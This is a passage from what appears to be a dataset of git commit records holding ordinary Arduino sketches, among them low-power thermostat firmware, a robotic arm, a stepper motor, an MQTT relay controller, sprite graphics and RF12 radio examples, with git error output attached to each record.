OTV0P2BASE::nap(WDTO_120MS);\n }\n}\n\/\/ Panic with fixed message.\nvoid panic(const __FlashStringHelper *s)\n{\n OTV0P2BASE::serialPrintlnAndFlush(); \/\/ Start new line to highlight error. \/\/ May fail.\n OTV0P2BASE::serialPrintAndFlush('!'); \/\/ Indicate error with leading '!' \/\/ May fail.\n OTV0P2BASE::serialPrintlnAndFlush(s); \/\/ Print supplied detail text. \/\/ May fail.\n panic();\n}\n\n\n\/**\n * @brief Set pins and on-board peripherals to safe low power state.\n *\/\n\n\n\/\/========================================\n\/\/ SETUP\n\/\/========================================\n\n\/\/ Setup routine: runs once after reset.\n\/\/ Does some limited board self-test and will panic() if anything is obviously broken.\nvoid setup()\n{\n \/\/ Set appropriate low-power states, interrupts, etc, ASAP.\n OTV0P2BASE::powerSetup();\n \/\/ IO setup for safety, and to avoid pins floating.\n OTV0P2BASE::IOSetup();\n\n OTV0P2BASE::serialPrintAndFlush(F(\"\\r\\nOpenTRV: \")); \/\/ Leading CRLF to clear leading junk, eg from bootloader.\n V0p2Base_serialPrintlnBuildVersion();\n\n OTV0P2BASE::LED_HEATCALL_ON();\n\n \/\/ Give plenty of time for the XTal to settle.\n delay(1000);\n\n \/\/ Have 32678Hz clock at least running before going any further.\n \/\/ Check that the slow clock is running reasonably OK, and tune the fast one to it.\n if(!::OTV0P2BASE::HWTEST::calibrateInternalOscWithExtOsc()) { panic(F(\"Xtal\")); } \/\/ Async clock not running or can't tune.\n\/\/ if(!::OTV0P2BASE::HWTEST::check32768HzOsc()) { panic(F(\"xtal\")); } \/\/ Async clock not running correctly.\n\n \/\/ Initialise the radio, if configured, ASAP because it can suck a lot of power until properly initialised.\n PrimaryRadio.preinit(NULL);\n \/\/ Check that the radio is correctly connected; panic if not...\n if(!PrimaryRadio.configure(nPrimaryRadioChannels, RFM23BConfigs) || !PrimaryRadio.begin()) { panic(F(\"r1\")); }\n\n \/\/ Buttons should not be activated DURING boot for user-facing boards; an activated button implies a fault.\n \/\/ Check buttons not stuck in the activated position.\n if(fastDigitalRead(BUTTON_MODE_L) == LOW) { panic(F(\"b\")); }\n\n \/\/ Collect full set of environmental values before entering loop() in normal mode.\n \/\/ This should also help ensure that sensors are properly initialised.\n\n \/\/ No external sensors are *assumed* present if running alt main loop\n \/\/ This may mean that the alt loop\/POST will have to initialise them explicitly,\n \/\/ and the initial seed entropy may be marginally reduced also.\n const int cV = Supply_cV.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"V: \");\n DEBUG_SERIAL_PRINT(cV);\n DEBUG_SERIAL_PRINTLN();\n const int heat = TemperatureC16.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"T: \");\n DEBUG_SERIAL_PRINT(heat);\n DEBUG_SERIAL_PRINTLN();\n const uint8_t rh = RelHumidity.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"RH%: \");\n DEBUG_SERIAL_PRINT(rh);\n DEBUG_SERIAL_PRINTLN();\n const int light = AmbLight.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"L: \");\n DEBUG_SERIAL_PRINT(light);\n DEBUG_SERIAL_PRINTLN();\n const int tempPot = TempPot.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"temp pot: \");\n DEBUG_SERIAL_PRINT(tempPot);\n DEBUG_SERIAL_PRINTLN();\n\n ValveDirect.read();\n\n \/\/ Initialised: turn main\/heatcall UI LED off.\n OTV0P2BASE::LED_HEATCALL_OFF();\n\n \/\/ Do OpenTRV-specific (late) setup.\n PrimaryRadio.listen(false);\n\n \/\/ Long delay after everything set up to allow a non-sleep power measurement.\n delay(10000);\n}\n\n\n\/\/========================================\n\/\/ MAIN LOOP\n\/\/========================================\n\/**\n * @brief Sleep in low power mode if not sleeping.\n *\/\nvoid loop()\n{\n \/\/ Ensure that serial I\/O is off while sleeping.\n OTV0P2BASE::powerDownSerial();\n \/\/ Power down most stuff (except radio for hub RX).\n OTV0P2BASE::minimisePowerWithoutSleep();\n \/\/ Normal long minimal-power sleep until wake-up interrupt.\n \/\/ Rely on interrupt to force quick loop round to I\/O poll.\n OTV0P2BASE::sleepUntilInt();\n}\n\n\n\n\/**\n * @note Power consumption figures (all in mA).\n * Date\/commit: Device: Wake (Sleep) @ Voltage\n * 20161111\/0e6ec96 REV7: 1.5 (1.1) @ 2.5 V REV11: 0.45 (0.03) @ 2.5 V\n * 20161111\/f2eed5e REV7: 0.46 (0.04) @ 2.5 V\n *\/\n\n\/**\n * @note REV7 Power consumption investigation.\n * Figures are not overly accurate due to hot airgun changing board temp. Shouldn't make enough of a difference for our purposes.\n * Baseline: 1.08 mA\n * - Motor decoupling caps: 1.08 mA\n * - Potentiometer: 1.02 mA\n * - BAV99 Suppressors: 1.02 mA\n * - TANT RF decoupling: 1.01 mA\n * - Motor diodes: 1.01 mA\n * - Op Amp: 0.99 mA\n * - Inductor: 178 mA (I think this is due to ML+MR being held high)\n * - H-Bridge Transistors: 0.99 mA\n * - All decoupling: 0.98 mA\n * - All H-Bridge resistors:0.98 mA\n * - Encoder: 0.98 mA\n * - Some resistors: 0.48 mA\n *\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testsuite\/REV20Minimal\/REV20Minimal.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"71b9b386db9287f96c614814ec633854d38e2c6f","subject":"Ready to verify on oscilloscope. Looks good on serial.","message":"Ready to verify on oscilloscope. Looks good on serial.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testTimerTwo\/testTimerTwo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aecef706568326e10a78c168758fafdcd6dc45ce","subject":"Let there be light","message":"Let there be light\n","repos":"danielfx90\/TenazAyuda,danielfx90\/TenazAyuda","old_file":"robotic_arm.ino","new_file":"robotic_arm.ino","new_contents":"#include <Servo.h>\n\n\/* ***************************************************************************************\n * PINES BOTONERA *\n * ***************************************************************************************\/\nint up_button = 2;\nint down_button = 4;\nint left_button = 5;\nint right_button = 3;\nint start_button = 6;\nint select_button = 7;\nint analog_button = 8;\nint x_axis = A0;\nint y_axis = A1;\nint buttons[] = {up_button, down_button, left_button, right_button, start_button, select_button, analog_button};\nint buttons_quantity = 7;\n\n\/* ***************************************************************************************\n * MAPEO A FUNCIONES *\n * ***************************************************************************************\/\nconst int boton_pinza = select_button;\nconst int boton_palito = down_button;\nconst int boton_cambios = analog_button;\nconst int boton_grabarHacer = left_button;\nconst int boton_preseteado = start_button;\nconst int boton_standby = right_button;\nconst int boton_giro[] = {x_axis, y_axis};\n\n\/* ***************************************************************************************\n * MOTORES *\n * ***************************************************************************************\/\nconst int servo_base_pin = 3;\nconst int servo_tronco_pin = 6;\nconst int servo_trompa_pin = 5;\nconst int servo_pinza_pin = 11;\n\nServo servo_base;\nServo servo_tronco;\nServo servo_trompa;\nServo servo_pinza;\n\n\/* ***************************************************************************************\n * SETUP *\n * ***************************************************************************************\/\nvoid init_buttons() {\n for (int i; i < buttons_quantity; i++) {\n pinMode(buttons[i], INPUT_PULLUP);\n }\n}\n\nvoid attach_servos() {\n servo_base.attach(servo_base_pin);\n servo_tronco.attach(servo_tronco_pin);\n servo_trompa.attach(servo_trompa_pin);\n servo_pinza.attach(servo_pinza_pin);\n}\n\nvoid setup() {\n init_buttons();\n attach_servos();\n Serial.begin(9600);\n}\n\n\/* ***************************************************************************************\n * PROGRAMA *\n * ***************************************************************************************\/\n\nvoid printButton(char* buttonName, int buttonId) {\n Serial.print(buttonName),Serial.print(\" = \"),Serial.print(digitalRead(buttonId)),Serial.print(\"\\t\");\n}\n\nvoid printJoystick(int xAxisId, int yAxisId) {\n Serial.print(\"X = \"),Serial.print(map(analogRead(xAxisId), 0, 1023, -1, 1));Serial.print(\"\\t\");\n Serial.print(\"Y = \"),Serial.print(map(analogRead(yAxisId), 0, 1023, -1, 1));Serial.print(\"\\n\");\n}\n\nvoid updateServo(int axis_id, Servo* servo) {\n int val = analogRead(axis_id); \/\/ reads the value of the potentiometer (value between 0 and 1023)\n val = map(val, 0, 1023, 0, 180); \/\/ scale it to use it with the servo (value between 0 and 180)\n servo->write(val);\n}\n\nvoid loop() {\n printButton(\"UP\", up_button);\n printButton(\"DOWN\", down_button);\n printButton(\"LEFT\", left_button);\n printButton(\"RIGHT\", right_button);\n printButton(\"START\", start_button);\n printButton(\"SELECT\", select_button);\n printButton(\"ANALOG\", analog_button);\n printButton(\"X\", start_button);\n printJoystick(x_axis, y_axis);\n updateServo(x_axis, &servo_base);\n updateServo(y_axis, &servo_tronco);\n \n delay(100);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'robotic_arm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"641950ab591b7ce7c90f8a2f4f87a24b10f6a749","subject":"Create barometer.ino","message":"Create barometer.ino","repos":"MidnightBWolf\/t1a01-app-Kaiya","old_file":"Barometer\/barometer.ino","new_file":"Barometer\/barometer.ino","new_contents":"barometer\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Barometer\/barometer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ec443e2e0a0aa762a783501c9b8367df49260f82","subject":"Fix semi-colon \u2026 Thanks MATLAB!","message":"Fix semi-colon \u2026 Thanks MATLAB!\n","repos":"Duke-Medical-Instrumentation\/InceptionTI","old_file":"MainTI\/MainTI.ino","new_file":"MainTI\/MainTI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/InceptionTI.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"225563b994ed25df458cd817349bd2d1aa4f50ec","subject":"Test for motor using enable pins and buttons operation.","message":"Test for motor using enable pins and buttons operation.\n","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs","old_file":"tinkering\/motor\/button_op_enable\/button_op_enable.ino","new_file":"tinkering\/motor\/button_op_enable\/button_op_enable.ino","new_contents":"#include <Stepper.h>\n\n#define P1 P4_5\n#define P2 P1_1\n\nconst int stepsPerRevolution = 200;\n\nStepper myStepper(stepsPerRevolution, 12,13,5,9);\n\nshort forward;\nshort backward;\n\nvoid setup() {\n \/\/ set the speed at 60 rpm:\n myStepper.setSpeed(60);\n \n \/\/ initialize the serial port:\n Serial.begin(9600);\n\n \/\/ Enable pin pull-up for the buttons\n pinMode(P4_5, INPUT_PULLUP);\n pinMode(P1_1, INPUT_PULLUP);\n\n \/\/ Set modes for enable pins\n pinMode(18, OUTPUT);\n pinMode(19, OUTPUT);\n}\n\nvoid loop() {\n\n \/\/ Read button pins \n forward = digitalRead(P1);\n backward = digitalRead(P2);\n Serial.print(forward);\n\n \/\/ Enable or disable motor\n if (forward == 0 || backward == 0) {\n digitalWrite(18, HIGH);\n digitalWrite(19, HIGH);\n }\n else {\n digitalWrite(18, LOW);\n digitalWrite(19, LOW);\n }\n\n \/\/ Turn motor if a button is pressed\n if (forward == 0) {\n myStepper.step(1);\n }\n \n if (backward == 0) {\n myStepper.step(-1);\n }\n\n \/\/ Delay before next loop. Determines how fast the motor turns\n delay(4);\n \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tinkering\/motor\/button_op_enable\/button_op_enable.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1cbf371252f472876a8a5754ba8ddce87be18020","subject":"added weatherstation","message":"added weatherstation\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/WeatherStation\/WeatherStation.ino","new_file":"modules\/WeatherStation\/WeatherStation.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"60cbb4d51fa6342630497a58e83fe599e3521a26","subject":"Create mqtt_dragino_2xrele.ino","message":"Create mqtt_dragino_2xrele.ino","repos":"pumanzor\/iot-redlibre,pumanzor\/iot-redlibre","old_file":"dragino\/mqtt_dragino_2xrele.ino","new_file":"dragino\/mqtt_dragino_2xrele.ino","new_contents":"#include <Process.h>\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n#include \"MQTTclient.h\"\n\n#define I2C_ADDR 0x27\n#define En_pin 2\n#define Rw_pin 1\n#define Rs_pin 0\n#define D4_pin 4\n#define D5_pin 5\n#define D6_pin 6\n#define D7_pin 7\n#define BACKLIGHT_PIN 3\n\nint rele1 = 4;\nint rele2 = 6; \n\n#define MQTT_HOST \"190.97.168.236\" \nchar message_buff[100];\nchar message_buff2[100];\nchar message[256];\nString id_sensor = \"prueba12\";\n\nLiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin,\n D4_pin, D5_pin, D6_pin, D7_pin);\n\nvoid setup() {\n Serial.begin(9600);\n Bridge.begin();\n mqtt.begin(MQTT_HOST, 1883);\n mqtt.subscribe(\"\/rr\/temp\", someEvent);\n lcd.begin (20, 4);\n pinMode(rele1, OUTPUT);\n pinMode(rele2, OUTPUT);\n digitalWrite(rele1, HIGH);\n digitalWrite(rele2, HIGH);\n\n \/\/ Switch on the backlight\n lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE);\n lcd.setBacklight(HIGH);\n\n \/\/ Position cursor and write some text\n lcd.home();\n lcd.print(\"RELE 1: OFF, RELE 2: OFF\");\n mqtt.publish(\"test\/dos\", \"conectado!\");\n}\n\nvoid loop() {\n \n mqtt.monitor();\n\n}\n\n\nvoid someEvent(const String& topic, const String& subtopic, const String& message) {\n\n\n\n\n\n mqtt.publish(\"test\/dos\", \"Recibido_Control_D1\");\n if (message == \"rele10\") {\n digitalWrite(rele1, HIGH);\n lcd.clear();\n lcd.print(\"RELE 1: ON\");\n \n } \n else if (message == \"rele11\"){\n digitalWrite(rele1, LOW);\n lcd.clear();\n lcd.print(\"RELE 1: OFF\");\n \n } \n \n else if (message == \"rele20\"){\n digitalWrite(rele2, HIGH);\n lcd.clear();\n lcd.print(\"RELE 2: ON\");\n \n } else if (message == \"rele21\"){\n digitalWrite(rele2, LOW);\n lcd.clear();\n lcd.print(\"RELE 2: OFF\");\n \n } \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dragino\/mqtt_dragino_2xrele.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4cb5a0a191c6b6121a6def8fdd9a41230559fc91","subject":"Renaming to adapt to ino command tool","message":"Renaming to adapt to ino command tool\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"ManMachineInterface\/Oscilloscope\/oscillo\/src\/sketch.ino","new_file":"ManMachineInterface\/Oscilloscope\/oscillo\/src\/sketch.ino","new_contents":"\/*\n Analog input, analog output, serial output\n \n Reads an analog input pin, maps the result to a range from 0 to 255\n and uses the result to set the pulsewidth modulation (PWM) of an output pin.\n Also prints the results to the serial monitor.\n \n The circuit:\n * potentiometer connected to analog pin 0.\n Center pin of the potentiometer goes to the analog pin.\n side pins of the potentiometer go to +5V and ground\n * LED connected from digital pin 9 to ground\n \n created 29 Dec. 2008\n modified 9 Apr 2012\n by Tom Igoe\n \n This example code is in the public domain.\n \n *\/\n\n\/\/ These constants won't change. They're used to give names\n\/\/ to the pins used:\nconst int analogInPin = 0; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogOutPin = 9; \/\/ Analog output pin that the LED is attached to\n\nint sensorValue = 0; \/\/ value read from the pot\nint outputValue = 0; \/\/ value output to the PWM (analog out)\n\nvoid setup() {\n \/\/ initialize serial communications at 9600 bps:\n Serial.begin(19200); \n}\n\nvoid loop() {\n \/\/ read the analog in value:\n for (int thisPin = 0; thisPin < 6; thisPin++) {\n sensorValue = analogRead(thisPin); \n \n \/\/ print the results to the serial monitor:\n \/\/Serial.print(\"sensor = \" ); \n Serial.print(sensorValue); \n Serial.print(\",\"); \n \/\/Serial.print(\"\\t output = \"); \n \/\/Serial.println(outputValue);\n delay(2); \n }\n Serial.println(\"\");\n \/\/ wait 2 milliseconds before the next loop\n \/\/ for the analog-to-digital converter to settle\n \/\/ after the last reading:\n delay(2); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ManMachineInterface\/Oscilloscope\/oscillo\/src\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f6fb98c6a19e6c00d2c45e66e39ee317251006e","subject":"example code","message":"example code\n","repos":"jonwingrove\/tinyscreen-spritetile-lib","old_file":"Examples\/tinyscreen-spritetile-testbed\/tinyscreen-spritetile-testbed.ino","new_file":"Examples\/tinyscreen-spritetile-testbed\/tinyscreen-spritetile-testbed.ino","new_contents":"#include <TinyScreen.h>\n#include <SPI.h>\n#include <Wire.h>\n#include \"Sprite.h\"\n\n\nTinyScreen display = TinyScreen(0);\n\nstatic Sprite s_Brick0 = {8,8, new uint8_t[64] {0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff\n,0x00,0x92,0x92,0x92,0x92,0x92,0x92,0x92\n,0x00,0x92,0x92,0x92,0x92,0x92,0x92,0x92\n,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n,0xff,0xff,0xff,0xff,0xff,0x00,0xff,0xff\n,0x92,0x92,0x92,0x92,0xff,0x00,0x92,0x92\n,0x92,0x92,0x92,0x92,0xff,0x00,0x92,0x92\n,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n}};\n\nstatic Sprite s_Brick3 = {8,8, new uint8_t[64] {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff\n,0x92,0x92,0x92,0x92,0x92,0x92,0x92,0xff\n,0x92,0x92,0x92,0x92,0x92,0x92,0x92,0xff\n,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n,0xff,0xff,0xff,0xff,0x00,0xff,0xff,0xff\n,0x92,0x92,0x92,0xff,0x00,0x92,0x92,0x92\n,0x92,0x92,0x92,0xff,0x00,0x92,0x92,0x92\n,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n}};\n\nstatic Sprite s_Brick1 = {8,8, new uint8_t[64] {0x00,0xff,0xff,0xff,0xff,0xff,0xff,0x00\n,0x00,0x92,0x92,0x92,0x92,0x92,0xff,0x00\n,0x00,0x92,0x92,0x92,0x92,0x92,0xff,0x00\n,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n,0xff,0xff,0xff,0xff,0xff,0x00,0xff,0xff\n,0x92,0x92,0x92,0x92,0xff,0x00,0x92,0x92\n,0x92,0x92,0x92,0x92,0xff,0x00,0x92,0x92\n,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n}};\n\nstatic Sprite s_Brick2 = {8,8, new uint8_t[64] {0xff,0x00,0xff,0xff,0xff,0xff,0xff,0xff\n,0xff,0x00,0x92,0x92,0x92,0x92,0x92,0xff\n,0xff,0x00,0x92,0x92,0x92,0x92,0x92,0xff\n,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n,0xff,0xff,0xff,0xff,0x00,0xff,0xff,0xff\n,0x92,0x92,0x92,0xff,0x00,0x92,0x92,0x92\n,0x92,0x92,0x92,0xff,0x00,0x92,0x92,0x92\n,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n}};\n\nstatic TileMap8pix s_tileMap = { \n 12,8,0,0, new const Sprite*[96]\n{\n&s_Brick0,&s_Brick2,&s_Brick0,&s_Brick2,0,0,0,0,&s_Brick0,&s_Brick2,&s_Brick0,&s_Brick2,\n&s_Brick1,&s_Brick3,&s_Brick1,&s_Brick3,0,0,0,0,&s_Brick1,&s_Brick3,&s_Brick1,&s_Brick3,\n&s_Brick0,&s_Brick2,&s_Brick0,&s_Brick2,0,0,0,0,&s_Brick0,&s_Brick2,&s_Brick0,&s_Brick2,\n&s_Brick1,&s_Brick3,&s_Brick1,&s_Brick3,0,0,0,0,&s_Brick1,&s_Brick3,&s_Brick1,&s_Brick3,\n&s_Brick0,&s_Brick2,&s_Brick0,&s_Brick2,0,0,0,0,&s_Brick0,&s_Brick2,&s_Brick0,&s_Brick2,\n&s_Brick1,&s_Brick3,&s_Brick1,&s_Brick3,0,0,0,0,&s_Brick1,&s_Brick3,&s_Brick1,&s_Brick3,\n&s_Brick0,&s_Brick2,&s_Brick0,&s_Brick2,0,0,0,0,&s_Brick0,&s_Brick2,&s_Brick0,&s_Brick2,\n&s_Brick1,&s_Brick3,&s_Brick1,&s_Brick3,0,0,0,0,&s_Brick1,&s_Brick3,&s_Brick1,&s_Brick3\n}};\n\nstatic Sprite s_Soldier = {16,16, new uint8_t[256] {0x00,0x00,0x00,0x00,0x00,0x00,0x49,0xdf,0x00,0x00,0x00,0x00,0x00,0xbf,0x00,0x00\n,0x00,0x00,0x00,0x00,0x00,0x49,0x49,0xdf,0xff,0x00,0x00,0x00,0x00,0x72,0x00,0x00\n,0x00,0x00,0x00,0x00,0x00,0x49,0x00,0x00,0x92,0x00,0x00,0x00,0x00,0x29,0x00,0x00\n,0x00,0x00,0x00,0x00,0x00,0x49,0x49,0x49,0x92,0x00,0x00,0x00,0x00,0x29,0x00,0x00\n,0x00,0x00,0x00,0xff,0xe4,0x00,0x00,0x00,0x00,0x8d,0xf6,0x00,0x00,0x29,0x00,0x00\n,0x00,0x00,0x49,0x49,0x80,0x80,0x80,0x80,0x8d,0x8d,0x44,0xf6,0x00,0x29,0x00,0x00\n,0x00,0x00,0x92,0x49,0x00,0x80,0x80,0xe4,0x8d,0x44,0x44,0xf6,0x52,0x29,0x00,0x00\n,0x00,0x49,0x92,0x00,0x00,0x80,0x80,0xe4,0x8d,0x44,0x00,0x44,0x04,0x29,0x00,0x00\n,0x00,0x92,0xff,0x00,0x00,0x00,0x00,0xad,0x44,0x00,0x00,0x00,0x92,0xdf,0x00,0x00\n,0x00,0x49,0xff,0x00,0x00,0x64,0x64,0xad,0xc9,0xc9,0x84,0x00,0x00,0x92,0x00,0x00\n,0x00,0x00,0x00,0x00,0x64,0x00,0x64,0x00,0xc9,0x44,0xc9,0x00,0x00,0x49,0x00,0x00\n,0x00,0x00,0x00,0x00,0x00,0x64,0x64,0x00,0x44,0xc9,0x00,0x00,0x00,0x49,0x00,0x00\n,0x00,0x00,0x00,0x00,0x00,0x49,0x92,0x00,0x49,0xff,0x00,0x00,0x00,0x0a,0x00,0x00\n,0x00,0x00,0x00,0x00,0x00,0x49,0x92,0x00,0x49,0x92,0x00,0x00,0x00,0x0a,0x00,0x00\n,0x00,0x00,0x00,0x00,0x00,0x49,0x49,0x00,0x49,0xff,0x00,0x00,0x00,0x0a,0x00,0x00\n,0x00,0x00,0x00,0x00,0x49,0x92,0xff,0x00,0x49,0x92,0xff,0x00,0x00,0x0a,0x00,0x00\n}};\n\nSpriteInst sprites[1];\n\nvoid setup() {\n\n Wire.begin();\n Serial.begin(9600);\n display.begin();\n \n sprites[0].sprite = &s_Soldier;\n sprites[0].x = 32;\n sprites[0].y = 32;\n sprites[0].enabled = true;\n}\n\nint xDir = 1;\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n drawSprites(sprites,1,&s_tileMap,0x00,&display);\n sprites[0].x += xDir;\n sprites[0].y++;\n if (sprites[0].y == 64 )\n {\n sprites[0].y = -16;\n }\n if (sprites[0].x == 48 )\n {\n xDir = -1;\n }\n if (sprites[0].x == 32 )\n {\n xDir = 1;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/tinyscreen-spritetile-testbed\/tinyscreen-spritetile-testbed.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10ef56028383c78f76fdc378a2bb621688b7869b","subject":"Adding example sketch to demonstrate sending, receiving and link statistics.","message":"Adding example sketch to demonstrate sending, receiving and link statistics.\n","repos":"stevemarple\/RF12_Stream","old_file":"examples\/RF12_Stream_example\/RF12_Stream_example.ino","new_file":"examples\/RF12_Stream_example\/RF12_Stream_example.ino","new_contents":"\/*\n * Sketch to demonstrate RF12_Stream. Prints incoming\n * data. Periodically sends data and prints statistics about the link\n * (number of packets sent and received, and number of retries). The\n * firmware size is under 8kB when compiled for the ATtiny84 so it may\n * be possible to run the sketch on the RFM12B to Pi expansion board,\n * http:\/\/shop.openenergymonitor.com\/raspberry-pi\/.\n *\n * Copyright S R Marple, 2013.\n * Released under MIT License, http:\/\/opensource.org\/licenses\/mit-license.php\n *\/\n\n#include <CircBuffer.h>\n#include <AsyncDelay.h>\n#include <RF12.h>\n#include <RF12_Stream.h>\n\n\n\n#if defined(UBRRH) || defined(UBRR0H) || defined(USBCON)\nStream &mySerial = Serial;\n#else\n\/\/ No hardware serial or USB interface\n#define USE_SW_SERIAL\n#include <SoftwareSerial.h>\n#endif\n\n\n#ifdef CALUNIUM\n\/\/ Calunium, use pin mapping for v2.0\/v2.1\n#define RFM12B_CS 14\n#define RFM12B_IRQ_PIN 6\n#define RFM12B_IRQ_NUM 2\n#define LED_PIN LED_BUILTIN\n\n#elif defined(__AVR_ATmega168__) || defined(__AVR_ATmega328__) || defined (__AVR_ATmega328P__)\n\/\/ Jeenode mapping?\n#define RFM12B_CS 10\n#define RFM12B_IRQ_PIN 2\n#define RFM12B_IRQ_NUM 0\n#define LED_PIN LED_BUILTIN\n\n#elif defined(__AVR_ATtiny84__) || defined(__AVR_ATtiny44__)\n\/\/ Assume pin-mapping used for Martin Harizanov's RFM2Pi board\n#define RFM12B_CS 1\n#define RFM12B_IRQ_PIN 2\n#define RFM12B_IRQ_NUM 0\n#define LED_PIN 8\n#endif\n\n#ifdef USE_SW_SERIAL\nSoftwareSerial swSerial(7, 3);\nStream &mySerial = swSerial;\n#endif\n\n#if RAMEND >= 4096\n\/\/ eg ATmega644(P), ATmega1284(P), ATmega1280 or ATmega2560\nuint8_t rxBuffer[1024];\nuint8_t txBuffer[1024];\n\n#elif RAMEND >= 2048\n\/\/ eg ATmega328\nuint8_t rxBuffer[512];\nuint8_t txBuffer[512];\n\n#else\n\/\/ eg ATtiny84\nuint8_t rxBuffer[30];\nuint8_t txBuffer[30];\n#endif\n\nRF12_Stream rfm12b(rxBuffer, sizeof(rxBuffer),\n\t\t txBuffer, sizeof(txBuffer));\n\n\nunsigned long sendInterval_ms = 2000UL;\nunsigned long statsInterval_ms = 20000UL;\n\nAsyncDelay sendDelay;\nAsyncDelay statsDelay;\n#ifdef LED_PIN\nAsyncDelay activityDelay;\n#endif\n\nvoid setup(void)\n{\n#ifdef SS\n pinMode(SS, OUTPUT);\n#endif\n\n#ifdef LED_PIN\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, HIGH);\n#endif\n\n#ifdef USE_SW_SERIAL\n swSerial.begin(9600);\n#else\n Serial.begin(9600);\n#endif\n\n if (rfm12b.begin(RFM12B_CS, RFM12B_IRQ_PIN, RFM12B_IRQ_NUM, 1, RF12_433MHZ)) {\n sendDelay.start(sendInterval_ms, AsyncDelay::MILLIS);\n }\n else \n while (1)\n mySerial.println(\"RFM12B not found\");\n \n\n#ifdef LED_PIN\n digitalWrite(LED_PIN, LOW);\n#endif\n activityDelay.expire();\n}\n\nvoid loop(void)\n{\n bool activity = false;\n \n rfm12b.poll();\n if (sendDelay.isExpired()) {\n long myMillis = millis();\n\n mySerial.print(\"TX: Millis is \");\n mySerial.println(myMillis);\n rfm12b.print(\"Millis is \");\n rfm12b.println(myMillis);\n sendDelay.start(sendInterval_ms, AsyncDelay::MILLIS);\n }\n\n if (rfm12b.available()) {\n mySerial.print(\"RX: \");\n while (rfm12b.available())\n mySerial.write(char(rfm12b.read()));\n mySerial.println();\n activity = true;\n }\n\n if (statsDelay.isExpired()) {\n mySerial.println(\"--\");\n mySerial.print(\"TX packets: \");\n mySerial.println(RF12_Stream::txPackets);\n \n mySerial.print(\"RX packets: \");\n mySerial.println(RF12_Stream::rxPackets);\n\n mySerial.print(\"Retries: \");\n mySerial.println(RF12_Stream::retries);\n statsDelay.start(statsInterval_ms, AsyncDelay::MILLIS);\n }\n\n#ifdef LED_PIN\n if (activityDelay.isExpired()) {\n if (activity) {\n digitalWrite(LED_PIN, HIGH);\n activityDelay.start(250, AsyncDelay::MILLIS);\n }\n else\n digitalWrite(LED_PIN, LOW);\n }\n#endif\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RF12_Stream_example\/RF12_Stream_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4f09e6d42af365cd69f8d1ada6e2b2ab4b4f5632","subject":"Inverting value of potenciometer","message":"Inverting value of potenciometer\n","repos":"start-x\/startx-src,start-x\/startx-src,start-x\/startx-src,start-x\/startx-src,start-x\/startx-src,start-x\/startx-src","old_file":"device\/arduino\/maoAzul.ino","new_file":"device\/arduino\/maoAzul.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Servo.h>\n\n#define TACOMETER 5\n#define GUIDAO A0\n#define 